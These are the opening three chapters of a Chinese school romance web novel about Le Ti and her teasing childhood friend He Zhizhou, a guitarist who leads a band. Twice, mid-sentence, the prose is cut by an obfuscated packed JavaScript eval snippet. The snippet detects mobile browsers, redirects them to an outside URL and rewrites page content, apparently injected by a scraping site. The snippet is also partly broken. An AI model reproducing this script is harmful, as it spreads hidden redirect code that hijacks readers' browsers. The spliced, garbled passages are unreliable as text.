《第七页序》 1. Chapter001 《第七页序》 文/稚夏 晋江文学城独家发布 2025.10.12 - 临宜八月的午后,蝉鸣不止。 某补习机构教室里。 老旧空调发出断续的吱呀声,正与燥热暑气顽强对抗,却也给闷热的室内更添了几分昏昏欲睡。 “好,我们看下一题——题目不难,但很容易丢分。”讲台上,身穿深蓝色Polo衫的男老师推了推眼镜,神情严肃地念题,“定义在R上的函数f(x)……” 教室左侧靠窗的位置,乐缇松松地扎着丸子头,一身临宜附中的蓝白校服格外醒目。 她坐姿端正,长睫低垂,表面看来,完全是个专心听讲的乖学生。 当然,这只是表面。 她的思绪早飘到了九霄云外,手中的笔却未停,在题目下方写下一个“解”字,又画了一条向上的抛物线。 最后,在线上画了一个上吊吐舌的小人。 乐缇从小偏科严重,数学就像是伥鬼一样死死缠住她,让她产生了一种爱上数学的错觉,也有可能是得了斯德哥尔摩综合症,数学疯狂将她推开,而她还在试图拼命讨好。 她瞥向窗外,看见榕树下乘凉的小黄狗,忽然明白了狗狗为什么总是那么快乐。 大概是因为,它不用学数学。 和狗一样开心的还有另外一个人。 但他现在肯定在打游戏。 哦,或者睡觉。 她真的好想把他从空调房拽出来,按在这个座位上替她上课。 就在她走神之际,前排两个穿着八中校服的女生的窃窃私语飘了过来。 “诶,你看到群里我发的视频吗?那个弹电吉他的男生,你知道他吗?” “谁不知道,附中校草贺知洲嘛!” “我有个朋友跟他一个班,说他人也挺好的。” 贺知洲? 听到这个名字,乐缇立马回神,不动声色地竖起了耳朵。 “啊,听说他好像有女朋友了。” “真的假的?早恋?” “不是吧,好像是发小来着……” 被无意点到的乐缇嘴角轻轻一抽。 她翻开手边的书,藏在书里的手机不合时宜地亮起,备注为“讨厌鬼”的微信对话框弹出来。 一连串的图片被发过来。 -新空调装好了,好凉快。 乐缇点开图片,唇线渐渐抿紧。 这人怕不是有病吧?一台空调而已,居然能拍这么多不同角度的照片。 她下意识抬头,看了眼教室里正吭哧作响的老旧空调,面无表情地准备关掉对话框,对方却锲而不舍地继续发来。 -? -不回消息? -怎么 -今天给我排的晚班? 乐缇咬了咬牙,偷瞄了一眼台上的老师,开始单手打字。 -闭嘴,你很烦! -我在学习,勿扰。 觉得还不够解气,她又补了三个大拇指朝下的表情。 -[弱][弱][弱] 然而对面仿佛没有察觉到她的嘲讽之意一般,几乎是秒回了两条消息。 -好学生[强] -对了,我刚打了会儿三角洲,准备吃个哈根达斯然后睡一觉。 乐缇盯着屏幕上那两行字,即便没看到他的脸,她都能想象出这人说这句话时那种欠揍的声线。 她冷笑一声。 -谁问你了? 对面再次秒回。 -? 发完这条,乐缇迅速关掉手机,决定今天之内再理他她就是小狗! …… 下课铃声适时响起,将乐缇从昏昏欲睡中解救出来。她飞快地把文具扫进书包,正要起身开溜,刚才那两个低声交谈的女生却互相推搡着朝她走来。 “Hello同学!”其中一个扎马尾的女生试探着问,“你是附中的吧?我们想跟你打听个人……” 乐缇点点头,心里掠过一丝不妙的预感:“好啊,谁?” 另一个短发女生迫不及待地接话,眼睛发亮:“你认识你们学校的贺知洲吗?” 乐缇:“……” 还真是怕什么来什么。 她扯了下嘴角,抬起头,尚显青涩稚嫩的脸上露出一个无害的笑容,“嗯?贺知洲?我知道他。” “真的吗?”两个女生眼睛一亮,迫不及待地发出一连串追问,“他本人是不是很帅!有女朋友了吗?是不是他那个发小啊。” “是挺帅的。”乐缇点了下头,欲言又止,“至于他和他发小嘛……我知道的不多。” “没关系没关系!” “说来听听嘛!” 在两个人期待的目光中,乐缇面不改色地继续说:“他发小人特别好,反倒是贺知洲对她态度不怎么样,好像经常欺负人家……” “啊?怎么会这样!” “他们关系不好吗?” 乐缇越说越有点心虚,含糊地附和:“啊对对对……” 恰在此时,在隔壁小班上课的颜茹出现在门口,及时打断了这场对话。乐缇趁机道别,抽身离开。 两人在学校是同桌,平时关系不错,便约好一起坐地铁回家。 刚踏出补习机构大门,就听到“轰隆——”一声闷雷,乐缇抬头一看,刚才还艳阳高照的天空忽然变得阴沉沉的。 是要下雨的前奏。 她拿出蓝牙耳机刚戴上,打开手机,“讨厌鬼”的消息又不依不饶地弹了出来—— -饿了 -回来帮我买点面包 乐缇看到面前的一家银行,面无表情在输入框里打下一行字:其实我还会路过银行的,要不要帮你抢点钱? 消息还没来得及发送,对方竟直接微信转来666元巨款。 -别说话 -剩下的够不够你喝半个月奶茶? 乐缇飞快地撤回了上一条消息。 在表情包里选了一个卡通小狗手握鲜花的表情包发出去。 -OK少爷 -宝宝缇跑腿很高兴为您服务! 回复完消息,乐缇先点了收款。 没办法,她最近恰好在追星。 这个月的零花钱有些捉襟见肘,为了赚点外快,她很快遗忘了刚才“今天再理他就是狗”的豪言壮语。 等她下次发了生活费再还给他好了。 站在一旁的颜茹不小心瞥见对话框,用手肘轻轻碰了碰她,神秘兮兮地问:“宝宝缇,你跟贺知洲不会真在谈吧?” 乐缇沉默两秒,扭头看向颜茹,茫然地张唇:“什么?谁?我和……贺知洲?” “是啊。”颜茹点点头,犹豫一番又语出惊人,“经过我上学期的仔细观察,我觉得贺知洲好像喜欢你。” “?”乐缇深深看她一眼,“什么,你从哪里得出的结论?他天天对我犯贱,怎么可能喜欢我?” “可是,我发现他好像就只对你这样。”颜茹笑得神秘,“可能是喜欢你才对你犯贱!” 乐缇:“。” 她干笑两声,决定绕过这个话题,伸手指了指不远处的面包店,“同桌,吃面包吗?我请你吃你最爱的甜甜圈。” 颜茹的注意力果然被转移,眼睛一亮:“欸,好啊!” 两个女生手挽手往前走,颜茹又问:“你不是说你这个月生活费快花光了。” “没事,我刚才收到上贡了。” “上贡?”颜茹好奇,“谁啊?” “我的一个信徒。” 走进面包店,明亮的橱柜里琳琅满目地陈列着各式面包。 乐缇迅速扫视一圈,利落地挑了几样贺知洲常吃的口味,又顺手加了自己想吃的布朗尼抹茶米面包和抹茶奶酥碱水棒,再为颜茹选了两份甜甜圈。 结账出来后,外面下起起淅淅沥沥的小雨。 坏消息,两人都没带伞。 颜茹提议:“要不你把面包袋放书包里吧?” 乐缇果断摇头,她怕书包里都是味道,遂把牛皮纸袋抱在怀里,背着书包和颜茹一起闯进了细雨里。 到了地铁口,她看见一个卖花的小女孩,又顺手买了一束花。 今天地铁上人不是很多。 乐缇和颜茹找了个位置坐下,她刚习惯性点开某视频平台,顶部恰好弹出一条关注用户的更新提醒。 是一个ID为@提碗粥的音乐博主账号,有小二十万粉丝,主页清一色是电吉他solo视频,其中一条置顶内容点赞量高达八十万。 乐缇随手点开最新的视频。 画面中的男生身处昏暗环境,站姿松弛自在,并未露脸,唯一入镜的双手骨节分明,嶙峋指节微微凸起,食指与无名指上戴着设计独特的银色戒指。 他抱着一把Gibson黑卡,正弹奏《鸟之诗》,开篇一段强力滑弦,旋律瞬间抓耳。 视频看到一半,乐缇还是顺手点了个赞。 颜茹随口问她在看什么。 乐缇面不改色地说:“噢,在看一个博主。” 不久后,颜茹在体育中心站转车。 乐缇独自多坐了几站,走出地铁时,雨恰好停了。 一路步行到小区,电梯在十八楼停下。 她走到对门,熟练地按下密码。 由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572370|187046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于彼此串门频率太高,她和贺知洲早就交换了家门密码。 加上贺知洲的父母常年旅居国外,偶尔联系不上儿子时,总会一个越洋电话打到乐缇这里,忧心忡忡地请她“去看看那小子还活着没”。 推开门,室内一片昏暗。 所有窗帘都拉得严严实实。 乐缇对此早已习惯,从鞋柜里拿出自己的拖鞋换上,径直走进客厅。 装修是意式极简风格,由大面积的黑白灰构成,无主灯的设计,一张宽大的黑色劳伦斯沙发居于客厅中央,底下铺着灰色赛波斯云织地毯。 整个空间干净得一尘不染,空气中,淡淡的大吉岭茶香若有似无地弥漫着。 乐缇熟稔地摸黑走过去,按亮了钓鱼灯。 一回头,却蓦地发现沙发上横着一道人影。 毯子从头盖到脚,掩得严严实实。 她观察了几秒,竟看不出毯子底下有任何呼吸的起伏。 联想到最近看到的熬夜猝死新闻,她赶忙放下鲜花和面包,走近隔着毯子轻轻戳了一下,“……贺知洲?” 一秒,两秒。 没有任何动静。 乐缇知道贺知洲有睡眠障碍,平时有点动静就容易醒,此时的不对劲让她心头一紧,立即上前掀开毯子一角。 钓鱼灯昏黄的光线下,一张轮廓分明的脸露了出来,她伸手正要探他鼻息,却对上一双倏然睁开的眼睛。 乐缇和他对视了几秒,还没反应过来,手腕却被一只微凉的手猛地攥住,吓得差点原地弹射起飞。 脚下不慎一滑,她整个人失去平衡,直直摔进他怀里。 一声低沉的闷哼。 “死尸”下意识地接住了她,顿了片刻,才带着几分不耐哑声开口:“……乐缇,你是不是想压死我?” 男生身上的清冽气息扑面而来。 乐缇猛地回过神,语无伦次地控诉对方:“你怎么装死吓人!” 男生仍没松手,垂眼看着她,淡淡提醒:“一声不吭进来,掀我毯子、趴我身上,该吓到的人应该是我吧?” “我…我是担心你!” 乐缇试图挣脱未果,急着辩解,“谁让你一动不动,叫也不应?吓死我了!我差点就要打120了!” 男生唇角一抬,“吓到你了?” “对啊。” “是吗?”他嗓音倦懒低沉,“可我怎么听你语气,倒像是挺兴奋的?” “……”乐缇被他这句颠倒黑白的话噎得说不出声,后知后觉察觉到此刻姿态的亲昵,迅速挣脱起身。 战争一触即发。 两人你一句我一句斗嘴,无论乐缇怎么试图讲道理,最终都会被贺知洲不着边际的话带偏,气得她只能干瞪眼。 短暂休战一分钟后,乐缇口干舌燥,顺手拿起桌上的依云喝了几口,瞥见贺知洲缓缓坐起身。 “噗——咳咳咳……” 她险些呛到,慌忙别开脸。 贺知洲上身未着寸缕,只穿了条深灰色水洗牛仔裤。少年的身躯透着蓬勃的力量感,薄肌匀称,线条流畅分明。冷白色的肌肤在昏暗中依然白得晃眼。 他的帅是那种扑面而来的直观,此刻带着刚睡醒,略微蹙眉带着一丝燥意,却让人难以移开视线。 他捞起一件白T利落套上,乌黑头发睡得凌乱,又慢条斯理地系好皮带。 乐缇不明白他怎能如此坦然在她面前换衣服的,看了几秒后迅速偏过头,表情稍微有些不自在。 贺知洲看到她的反应,轻笑一声,用那副平静又欠揍的语调说:“你连我裸.体都见过,现在脸红什么?” 乐缇一噎,脸颊肉眼可见地迅速涨红,虚张声势地反驳:“那是你小时候的照片!” “嗯,”贺知洲从善如流地点头,“那也是看了,还很多次。” “什、什么很多次?”乐缇磕磕绊绊地回嘴:“你这人说话能不能不要这么难听!” “难听当然是我故意的,”贺知洲莫名瞥她一眼,“不难听我说它做什么?” “……”乐缇气得想掐人中,再次浮现要把这人毒哑的念头。 好好一个帅哥,偏偏长了张气死人的嘴。 不多时,贺知洲的视线被桌上的那束鲜花吸引,略带诧异地端详片刻,唇边悠悠有了笑意:“给我的?” 乐缇还以为他在说面包,脸上的热度还没退,眼睫一抬,没什么好气地应道:“不然呢?” “乐缇,”他略一挑眉,声音里透着几分说不清的愉悦,“没看出来,一个暑假过去,你都学会另辟蹊径了。” “?”乐缇一脸茫然。 下一秒,他似笑非笑地说:“改送鲜花吸引我注意了?” 2. Chapter002 男生过分自信是一件要看建模的事,若长相普通还盲目自信,难免引人反感。 很明显,贺知洲一直以来就是靠这张脸为非作歹。 乐缇被他毫不掩饰的自恋噎得说不出话。 沉默数秒后,她板着脸指向面包袋,“面包才是给你的,花只是我地铁口随便买的,而已!” “随便?”贺知洲唇角弯了弯,不可置否地看了她一眼,“那还挺随便的。” 他那眼神,分明是早已看穿她小心思的模样。 乐缇:“……” 她顿时生出一种拳头打在棉花上的无力感,一腔闷气堵在胸口,却一时间找不到反击的机会。 她甚至开始认真考虑,现在把面包拿回来还来不来得及。然而念头刚闪过,袋子已经被他顺手拎了起来。 贺知洲扫了一眼袋子里,总算说了句像样的话:“都是我爱吃的,谢了。”话音刚落,又习惯性地抬手,在她发顶轻轻揉了一把。 动作快得乐缇都没来得及躲。 她下意识抬手把他的爪子拍开,贺知洲却早已预判,轻而易举就避开了。 她恼羞成怒,“贺知洲!” “嗯,怎么了?” 乐缇气鼓鼓地瘪了下唇,“我有时候真的特别讨厌你!” 贺知洲忽地笑出声,略微弯下腰看她。 乐缇身高比他矮了一大截,每次生气的时候都会这样仰起脸、睁圆黑溜溜的大眼睛不满地瞪他,在他眼里看上去像是在撒娇,实在没有任何杀伤力。 他垂眸静静注视她片刻,才状似随意地问了句:“我知道,难道你还有喜欢我的时候吗?” 乐缇看着他靠近,下意识后退了半步。 贺知洲将她这个细微的动作收入眼底,脚步蓦地顿住。他唇角极轻地牵动了一下,随即转身走向开放式厨房。 他拉开冰箱门,瞥了一眼空荡荡的冷藏室,微微蹙眉,转头对身后的乐缇说:“我煮点面,要一起吃点吗?” “我吃过了。”乐缇语气生硬。 “可我没吃。” “噢,所以呢?” “所以,”贺知洲声调难得温和,边开橱柜取面条边说,“你乖乖坐着等我一会儿,可以吗?” 乐缇垂在身侧的手轻轻蜷了下,她抿住嘴唇,竟发现自己说不出拒绝的话。 贺知洲就是这样一个人,无论是外貌身高还是家境都极其出众,除了对她经常犯贱之外,对朋友都礼貌好脾气。 而她也拒绝不了每次他这样的请求。 她注意到他的嗓音似乎有些沙哑,虽然仍板着脸,却忍不住问道:“你声音怎么有点哑?又熬夜了?” 作为校乐队的主唱兼电吉他手,贺知洲十分爱惜自己的嗓子,但唯独熬夜这件事,似乎对他造成了很大的困扰。 “嗯,睡不着。”贺知洲简短地回答,顺手打开了另一个橱柜翻找起来。 乐缇看着他漫无目的地翻找,忍不住踩着拖鞋哒哒地跟过去,“你在找什么?” “上次你买的营多捞面放哪儿了?”贺知洲皱着眉转过头,“我们吃完了?” “你忘记了?”乐缇蹙眉说,“前几天大明星过来一起做作业,说饿得不行,就把最后两袋都煮了。” 贺知洲动作顿住,像是才想起这回事。 沉默几秒后,他关上橱柜门,回到客厅拿起手机利落地拨号并打开免提。 “大明星,人呢?” 电话几乎是被秒接,那头传来庞明星中气十足的声音:“老大,我到十字街了,还有五分钟到!” 庞明星是校乐队的鼓手,绰号“大明星”,从初中起三人都是同班同学,关系亲近,庞明星还是贺知洲的忠实迷弟。 “楼下超市买一袋营多捞面,再带几罐苏打水上来。”贺知洲十分顺口地吩咐,又问,“知道是哪种吧?” “知道!”庞明星答得飞快,“就你和缇缇都特别喜欢的那个,放心忘不了!” 电话挂断后,乐缇有些好奇:“大明星这个点过来做什么?” “聊新贝斯手的事。”贺知洲把手机放回桌上。 “你们找到合适的人选了?” “嗯,尚然推荐了个六班的转学生。” 贺知洲所在的校摇滚乐队是他创的,名字叫「原地解散」,除了庞明星,成员还有键盘手翟尚然和主音吉他原一,目前贝斯手位置空缺。 上一任贝斯手齐放与贺知洲积怨已久,上次在排练室争执升级,几乎动起手来。 当时乐缇也在场,险些被波及,下意识往贺知洲身边靠了靠。 看到齐放激动地抄起乐谱架时,她皱起眉,一字一句认真建议:“你要不要换个东西砸啊?这个看起来挺疼的。” “?”暴怒中的齐放动作明显顿了一下。 也就在这个空隙,贺知洲一把将她严严实实地挡在了身后。 他整个人的气场也随之彻底沉了下来,眼神冷冽,是乐缇很少见到的,他真正生气的模样。 齐放显然被这眼神慑住,嘴上却不服输,他放下乐谱架,骂骂咧咧地改放狠话:“我不信你还能找到比我更好的贝斯。贺知洲,恭喜你,现在乐队真的可以原地解散了。” 贺知洲对此嗤之以鼻,语气凉凉地开口:“别太把自己当盘菜了。” 键盘手翟尚然事不关己地靠在墙边嗑瓜子,只有一贯倡导“love and peace”的主音吉他原一出来打圆场:“要我说都各退一步吧两位,海阔天空不好吗……” 说完,原一又打开手机的听歌软件,放了一首《大悲咒》,涤荡心灵的梵音在排练室里回荡。 “原一!你把音乐关了!”齐放背上琴包,“我知道你们几个关系铁,我走行了吧!懒得跟傻逼计较!” 贺知洲却好整以暇地接话,还在火上浇油:“可我挺想的,怎么办?” 这句话瞬间点燃战火,齐放当即甩下琴包就要冲上来。 乐缇看着满屋昂贵的乐器和设备,再次面无表情地、不耐烦地提议:“你们要打出去打!学校的设备碰坏了谁赔?” 她记得听人说过,乐队成员有矛盾时通常会离开排练室,免得情绪上头真的动起手来,损坏了大家心爱的乐器。 贺知洲闻言,余光扫了她一眼。 果然不出所料,这场争执最终以齐放的落败告终。临走前,齐放心有不甘,突然扭头恶狠狠地瞪了乐缇一眼。 乐缇只觉得这人莫名其妙。 这么看她干什么? 骂不过贺知洲,想来骂她么? 她还没开口,贺知洲已先一步冷声警告:“齐放,你再这样看她一眼试试?” 在贺知洲的行为准则里,世界上只有他能“欺负”乐缇。如果有旁人试图欺负她,他会毫不犹豫地护在她身前。 齐放离开的当天,贺知洲就在朋友圈说要寻找新的贝斯手,要求有三条,一,别事逼,二,能够有时间配合排练的,三,水平要和其他成员不相上下。 …… 贺知洲从冰箱取出最后两罐苏打水,回到客厅,很自然地坐在乐缇身旁。注意到她无意识地摸了摸手臂,他顺手捞起刚才的毯子,轻轻丢在她腿上。 “冷?” “有一点。”乐缇点头,把带着他体温的毯子往上拉了拉。 与在别人家做客时的拘束不同,在贺知洲这里她总是格外放松。她顺手抱起沙发上的轻松熊玩偶,找了个舒服的姿势窝着。 贺知洲单手打开易拉罐,“呲啦”一声,清新的水汽扑面而来,他将打开的苏打水递到她面前。 这款无糖苏打水是贺知洲的最爱。 乐缇还记得第一次喝时的印象—— 味道怪怪的,像没什么味道的汽水,并没有网上所说的那么好喝。 但每次来他家,发现冰箱里永远只有这个。不知从何时起,她也渐渐喜欢上这种清爽的口感。 乐缇发现贺知洲在这方面出奇地专一。 喜欢上一款味道就会一直喝,认准一家外卖就会反复点,就像他对音乐的热爱一样执着。 坐了会儿,门铃声响起。 是庞明星来了。 贺知洲走去开门,大明星提着楼下超市的塑料袋,贺知洲从鞋柜里拿了一双一次性拖鞋丢地上。 “大明星你来了?”乐缇从沙发那边探出一颗小脑袋,和他挥手打招呼。 庞明星很喜欢乐缇,但这种喜欢并非男女之间,而是对朋友由衷的喜欢。 乐缇是典型的甜妹长相,非常舒服且耐看,皮肤白里透粉,尤其是一双微微下垂的狗狗眼,清澈又无辜,水汪汪的,像是黑色玻璃珠。 笑起来时,唇边的梨涡也会浮现。 高一入学起,乐缇就收获了许多男生的关注,青春期的少年们心思萌动,可无一例外,都在看到她身边的贺知洲后就打了退堂鼓。 庞明星正要笑着回应,一道身影却不着痕迹地挡在了他面前。 他抬头一看。 贺知洲没什么表情地垂眸看着他,语气十分冷淡:“多少钱,转你。” “哎呀老大别这么客气!”庞明星被吸引了注意,摆摆手,“下次请我吃麻辣烫就行。” 学校对门的美食街新开了一家黏糊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572371|187046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻辣烫,味道正宗地道,上次开业时三个人就一起去吃过了。 贺知洲哼笑一声:“你还挺会算。” “那可不。” 庞明星边换拖鞋边嘀咕:“老大,什么时候给我也备双拖鞋啊?每次来都穿一次性的。” “这你家?”贺知洲挑眉。 “不啊。” “那你还问。” 庞明星跟着走到沙发旁,一眼就注意到乐缇脚上那双毛茸茸的轻松熊拖鞋。他张了张嘴,最后还是把话咽了回去。 有些区别对待,心里明白就好。 乐缇见他们要谈乐队的事,主动拿起购物袋准备把剩下的汽水收进冰箱。 庞明星拿了一袋虾片拆开,看了眼手机说:“老大,尚然回消息了。说那人明晚能来试试,离比赛没多久了,要是合适咱们得抓紧磨合。” “行,让他直接来。”贺知洲又问,“那人叫什么?” “羿扬。”庞明星嚼着虾片,“这姓真少见,跟乐缇的姓一样特别。” 乐缇正要拉开冰箱门,听到这个名字动作一顿。 羿扬? 好耳熟,是她听过的那个羿扬吗? 乐缇对那天早晨的事印象很深刻,天光像是被清水洗过的宣纸,雨丝细密如雾,透着一股灰蒙蒙的润意。 她站在面包店门口躲雨,却没想到雨势渐猛,好似疏落的琶音。 第一节课就是他们班主任陈倩的英语课,她不敢迟到,便打算直接淋雨算了,可刚要迈步,身边突然有一阵风掠过。 是有男生从她身边跑过。 随后往她手里塞了一把黑色雨伞。 她刚抬头,只看见男生跑走的背影,还有他朋友喊了一句:“羿扬!” 那把伞至今还放在她家里,她一直想找机会还给对方,却不知道对方是不是也是附中的学生。 正出神时,一道声音忽然从身后响起,打断了她的思绪:“想什么这么认真?” 乐缇回过神,贺知洲不知何时站到他的身后,鼻尖嗅到清冽的薄荷混合着大吉岭茶的味道。 高中时期男生的身高总是窜得很快,贺知洲已经比同龄人高出不少,身高有187cm,也高她一大截。 贺知洲拿起一旁的营多捞面,拆了两包出来,又将剩下的放回顶柜。 乐缇问:“你过来干什么?” 贺知洲瞥她一眼,语气理所当然:“我不过来,你够得到顶上?” “我怎么就不能——” 她转身想反驳,却猝不及防撞上少年结实的胸膛,鼻梁一酸,下意识捂住鼻子。 贺知洲愣了下,连忙想拨开她的手查看情况,语气有些无奈:“你怎么这么傻撞上来啊?我看看。” 庞明星看得目瞪口呆,虾片都忘了嚼。 从他这个角度看,贺知洲就像是把乐缇揽在怀里一样,语气还带着一种莫名的宠溺和哄人的味道。 他可从没见过贺知洲对哪个女生这么耐心。 高一开始,庞明星见过不少主动追求贺知洲的女生,其中不乏意志坚定的,却都被他一句“抱歉,我只想好好学习”干脆拒绝。 要说贺知洲真的很难搞,顶级难泡。主动示好对他无效,死缠烂打也只会让他反感。 平时如果说前面有漂亮女生,他根本无动于衷;但只要提到“乐缇”两个字,他一定会第一时间抬头。 所以,乐缇对贺知洲来说是唯一特别的人。 庞明星的虾片嚼得嘎嘣脆,脱口而出:“你们俩谈了?” 乐缇最先反应过来,想起今天接连被误会,心里莫名烦躁,下意识反驳:“怎么可能!别乱说!” 贺知洲垂眸静静看了她几秒,没有说话。 庞明星以为乐缇害羞了,觉得自己此刻应该特别亮,装模作样地拿起手机贴在耳边,起身说:“喂?妈怎么了……哦哦,我现在就回家。”说完,便迅速逃离了现场。 贺知洲这才走去拉开窗帘,然后拿起那束花,征询她的意见:“这花我插起来了?” “随便。”乐缇点点头,本来就是随手买的,他这么喜欢就送他好了。 贺知洲找来花瓶和剪刀,开始有模有样地修剪花枝,心情似乎不错。 乐缇看着他专注的侧影,忽然想起正事,轻声叫他:“对了贺知洲。” “嗯?怎么了?” 乐缇犹豫了一下,还是问道:“就是刚才庞明星说的那个羿扬……你有他的联系方式吗?” 贺知洲手中的动作骤然停住。 他依旧背对着她,唇边那点笑意一点点淡去,“你说什么?” 3. Chapter003 乐缇带着一肚子郁闷从贺知洲家回来。 刚进门,就见外婆蒋惠芳女士戴着老花镜坐在沙发上看书。 “回来啦?”蒋惠芳放下书,笑眯眯地往她身后望了望,“洲洲呢?没一起过来?” 蒋惠芳是临宜附中的退休教师。 自从乐缇父母离婚各自组建新家庭后,她就一直跟着外婆生活。 乐缇被问得一脸郁闷。 这儿又不是贺知洲家,怎么外婆问得好像他们两个就应该一起回来似的? “他过来干什么?”乐缇小声嘟囔。 她想起刚才的情形,心里更纳闷了。 自己不过是想还伞,顺便问了下羿扬的联系方式而已,贺知洲就突然变了脸。花也不插了,面也不煮了,直接对她说困了要睡觉了。 可他明明才刚睡醒不久啊? 这不明摆着是在赶她走吗?于是在他冷淡的注视下,她头也不回地离开了。 乐缇紧紧抿住嘴唇。 不高兴。 很不高兴! 她还没见过比贺知洲情绪更善变的男生! 她想来想去,怎么都想不通他生气的缘由。最后只能勉强归结为两个可能:要么是搞艺术的人个性都挺独特,要么就是他熬夜熬得情绪失控了。 两人从小斗嘴到大,闹不愉快本是常事。 按以往的经验,不出两天他们就会默契地将这事翻篇。 可这次,她心里却比以往都要烦闷。 蒋惠芳推了推老花镜,端详着乐缇的表情,脸上露出心知肚明的笑意:“又跟洲洲闹别扭了?” “没有啊!”乐缇下意识否认。 “你就嘴硬。”蒋惠芳乐呵呵地笑,“外婆还不懂你?你从小到大都一样,每次跟洲洲闹不开心,回家都是这副模样。” 乐缇:“……” “不过啊,只要洲洲一来找你,你立马就阴转晴了。” 乐缇不自觉攥紧了手。 这话让她心里莫名更不高兴了,她板起脸佯装严肃:“外婆你别乱说!我先回房间了。” 蒋惠芳在她进房间前提议:“明晚叫洲洲来家里吃饭吧?” 乐缇脚步一顿,不太情愿地应了声:“哦,知道了。” 关上房门,她在门后静静站了片刻。 她抬眼环视了一圈自己的卧室,恍然发现这里也有很多贺知洲存在的痕迹。 桌上摆着一个粉色相框。 是两人小时候的合照。 背景是在一个游乐园里,小女孩对着镜头号啕大哭,抬手可怜兮兮地抹眼泪,而小男孩一脸愧疚地站在一边。 还有他送的各种生日礼物…… 床上排排坐的她最爱的轻松熊玩偶,他送的黑胶唱片,他的奖杯、校运动会的金牌,甚至那些不知不觉收集起来的、属于他的电吉他拨片。 乐缇意识到,人生中每一个重要时刻,都有彼此的参与。 即使经常斗嘴,可每当遇到事情,她第一个想到的总是贺知洲。 她直挺挺地倒进床里,一手搂着一只轻松熊,翘起腿对着天花板发了一分钟呆,又翻过身趴着点开手机—— 结果空荡荡的。 没有一条新消息。 乐缇抿紧嘴唇,当即关掉手机,把脸深深埋进枕头里。 再理他是小狗! 再理他是小狗! 再理他是小狗! . 第二天,排练室里氛围有些怪。 暑假期间附中不开放,乐队在校外租了间临时排练室。房东阿姨得知他们是附中的学生,还特意给了优惠。 庞明星望向垂眸弹吉他的贺知洲,整个人看上去像是一晚没睡好,气压很低,抱着一把价格昂贵的限量版Fender弹得飞起。 老大弹Fender,而他只能喝芬达。 贺知洲手臂青筋微凸,弹的是一首机能怪兽Kelly Simonz的曲子,原本就复杂的乐曲在他指下爆发出惊人的张力。 每一个音符都像在宣泄着什么。 一段疾风骤雨般的速弹过后,左手在琴颈高把位上行云流水地点弦,右手则近乎疯狂地扫弦,节奏快得像开了倍速,如暴雨倾泻。 紧接着,他猛地压下摇把。 一道冷厉的啸叫声撕裂空气,所有烦躁与怒意都随着这记暴戾的音浪倾泻而出。 这不像弹琴,反而像是一种用绝对控制力进行的冷冰冰的炫技。 贺知洲脸上没什么表情。 此刻甚至可以说是臭脸,整个人散发着一股颓废劲儿,又说不清道不明的无比迷人。 他在舞台上表现力比训练时还要强,松弛自如,仿佛天生就是吃这碗饭的。 一曲终了。 他放下吉他,迈过地上散乱的线缆,整个人陷进沙发里,面无表情地望着天花板出神。 昨晚他几乎没合眼,脑子里反复回放着乐缇打听羿扬联系方式的画面。 她什么时候认识的那家伙? 他怎么一点都不知道? 此时,键盘手翟尚然拿外卖回来。 一见到贺知洲瘫在沙发上一动不动,转头就问庞明星:“你老大什么情况?失恋了?” “失恋?”庞明星瞥了眼满地散落的吉他拨片,顺手捡起一个撬夏威夷果,“为啥这么说?” 翟尚然很直接:“跟他青梅分了?” “分啥?”庞明星哈哈大笑,“他俩根本没谈好吧——” 话没说完,不知从哪儿飞来一个吉他拨片,精准地砸在他身上。 “——哎哟我去!”庞明星委屈地看向沙发,却发现贺知洲维持着原来的姿势,连眼皮都没抬一下。 庞明星却get到他的意思,立刻闭嘴了。 过了一会儿,庞明星手机亮了起来。 他划开屏幕,嘴里还嚼着夏威夷果:“老大,诶诶诶——” 贺知洲闭着眼:“你诶什么?再拿我拨片开夏威夷果,信不信我把你扔出去?” “行行行……欸我操!”庞明星手忙脚乱地拍着裤子,“果仁掉裤.裆了!” “庞明星……” 贺知洲深吸一口气,压住火气。 “哦不是不是。”庞明星赶紧找补,把手机屏幕亮给他看,“重点是缇缇给我发微信了!” 沙发上的人终于动了动。 他睁开眼,眉头微蹙,声音有点冷:“她给你发微信干什么?” 整整一天都没给他发消息,居然先去找了庞明星? 难道就因为他没给那个什么扬的微信,她就转头问庞明星要了? 现在可是高中! 马上高三了,她难道还想早恋?! 呵。 好样的。 贺知洲冷笑一声,把外套往脸上一盖,排练室里震耳欲聋的摇滚乐仿佛都压不住他心头的烦躁。 庞明星低头打字回复,顺便问他:“哦,宝宝缇问我你是不是在排练室,我回了。” 贺知洲眉头一皱:“谁让你叫她宝宝缇的?” 庞明星:“……” … 乐缇去排练室的路上,遇见一位抱着大纸箱的女生,对方似乎迷了路,怯生生地拉住她问方向。 听说乐缇也去排练室,女生眼睛一亮,支支吾吾地表示想顺路送点东西。 乐缇点点头:“那一起走吧。” 到了排练室门口,震耳欲聋的摇滚乐从里面传来。乐缇敲了半天门也没人应,只好拿出手机打给庞明星。 电话接通,传来的却是贺知洲冷淡的嗓音:“干什么?” “怎么是你?”乐缇有些困惑。 “你很失望?” 听他语气像吃了炸药,她沉默两秒,还是问:“我打的不是庞明星电话吗?” 对方依旧是生硬的一句:“他不在,有事?” 一旁的庞明星正吃着夏威夷果,闻言一脸无辜地指着自己,用口型说:“我不就在这儿吗?” “我到门口了,”乐缇抿了抿嘴:“你给我开门。” 